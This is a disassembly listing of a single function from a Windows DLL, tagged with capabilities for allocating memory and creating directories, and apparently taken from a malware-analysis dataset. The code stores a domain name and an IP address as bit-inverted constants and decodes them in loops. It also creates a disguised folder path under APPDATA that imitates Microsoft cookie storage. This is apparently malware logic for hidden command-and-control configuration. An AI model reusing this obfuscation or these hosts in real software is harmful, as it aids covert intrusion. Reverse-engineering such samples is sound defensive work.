Function at 0x1800044d4
Capabilities:
Allocate or change rwx memory
Create directory

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xa8]
sub rsp, 0x1a0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
mov rax, qword [0x180038008]
xor rax, rsp
mov qword [rbp + 0x90], rax
lea rsi, [0x18003a0c0]
mov qword [rsp + 0x30], rsi
mov dword [0x18003a0cc], 0x899e8d8b
mov dword [0x18003a0d0], 0x909b939a
mov dword [0x18003a0d4], 0x8d90d198
mov word [0x18003a0d8], 0xff98
xor edx, edx
lea r8d, [rdx + 0x56]
lea rcx, [0x18003a0da]
call fcn.18000ce00
mov dword [0x18003a130], 0xd1cccfce
mov dword [0x18003a134], 0xd1ceccce
mov dword [0x18003a138], 0xced1cac6
mov word [0x18003a13c], 0xcbce
mov byte [0x18003a13e], 0xff
xor edx, edx
lea r8d, [rdx + 0x55]
lea rcx, [0x18003a13f]
call fcn.18000ce00
xor ebx, ebx
mov byte [0x18003a194], bl
lea edi, [rbx + 0x63]
mov r8d, edi
xor edx, edx
lea rcx, [0x18003a195]
call fcn.18000ce00
mov byte [0x18003a1f8], bl
mov r8d, edi
xor edx, edx
lea rcx, [0x18003a1f9]
call fcn.18000ce00
mov byte [0x18003a25c], bl
movdqa xmm0, xmmword [0x1800307b0]
movdqa xmmword [0x18003a260], xmm0
lea rax, str.Microsoft
mov qword [0x18003a270], rax
movabs rax, 0x73776f646e6957
mov qword [0x18003a278], rax
xor eax, eax
mov qword [0x18003a280], rax
mov dword [0x18003a288], eax
movabs rax, 0x7365696b6f6f43
mov qword [0x18003a28c], rax
xor eax, eax
mov qword [0x18003a294], rax
mov dword [0x18003a29c], eax
mov eax, dword [str..dat]
mov dword [0x18003a2a0], eax
mov al, byte [0x180030450]
mov byte [0x18003a2a4], al
xor eax, eax
mov qword [0x18003a2a5], rax
mov dword [0x18003a2ad], eax
mov word [0x18003a2b1], ax
mov byte [0x18003a2b3], al
lea eax, [rbx + 0x5c]
mov word [0x18003a2c0], ax
xor eax, eax
mov qword [0x18003a2c2], rax
movzx eax, word [0x180030458]
mov word [0x18003a2ca], ax
mov al, byte [0x18003045a]
mov byte [0x18003a2cc], al
xor eax, eax
mov dword [0x18003a2cd], eax
mov word [0x18003a2d1], ax
mov byte [0x18003a2d3], al
lea r15d, [rbx + 0xf]
mov qword [0x18003a2f0], r15
mov qword [0x18003a2e8], rbx
mov byte [0x18003a2d8], bl
lea rdx, [0x180030330]
lea rcx, [0x18003a2d8]
call fcn.1800039b0
nop
xor eax, eax
mov qword [0x18003a308], rax
mov qword [0x18003a310], rax
mov qword [0x180039fe0], rsi
mov edi, 0x1000
lea r9d, [rbx + 4]
mov r8d, edi
mov edx, 0xfa000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x18003a0c0], rax
lea r8d, [rbx + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp dword [rsp + 0x60], edi
jne 0x180004731
xor edx, edx
mov r8d, 0xfa000
mov rcx, qword [0x18003a0c0]
call fcn.18000ce00
lea rcx, str.APPDATA
call fcn.1800162ec
mov qword [0x18003a2b8], rax
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x40], rbx
mov byte [rbp - 0x50], bl
lea rdx, [0x180030330]
lea rcx, [rbp - 0x50]
call fcn.1800039b0
nop
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x60], rbx
mov byte [rbp - 0x70], bl
lea rdx, [0x180030330]
lea rcx, [rbp - 0x70]
call fcn.1800039b0
nop
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x80], rbx
mov byte [rsp + 0x70], bl
lea rdi, [0x18003a2c0]
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1800039b0
nop
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x20], rbx
mov byte [rbp - 0x30], bl
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.1800039b0
nop
mov r8, qword [0x18003a2b8]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.1800061b8
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1800062f4
nop
mov r8, qword [0x18003a270]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.180003f60
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.1800062f4
nop
lea r8, [0x18003a278]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.180003f60
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.18000374c
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x50]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x70]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x30]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x30]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x70]
call fcn.180003904
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x80], rbx
mov byte [rsp + 0x70], bl
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1800039b0
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.180006360
nop
lea r8, [0x18003a28c]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.180003f60
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.18000374c
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x70]
call fcn.180003904
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x80], rbx
mov byte [rsp + 0x70], bl
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.1800039b0
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x30]
call fcn.180006360
nop
lea r8, [0x18003a28c]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180003f60
nop
lea r8, [0x18003a2a0]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.180003f60
mov rdx, rax
lea rcx, [0x18003a2d8]
call fcn.18000374c
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp + 0x30]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x70]
call fcn.180003904
mov rcx, rbx
mov al, byte [rcx + rsi + 0xc]
not al
mov byte [rcx + rsi + 0xd4], al
inc rcx
cmp rcx, 0x64
jl 0x1800049d0
mov al, byte [rbx + rsi + 0x70]
not al
mov byte [rbx + rsi + 0x138], al
inc rbx
cmp rbx, 0x64
jl 0x1800049e6
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x70]
call fcn.180003904
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x50]
call fcn.180003904
nop
mov rax, rsi
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.180009ba0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret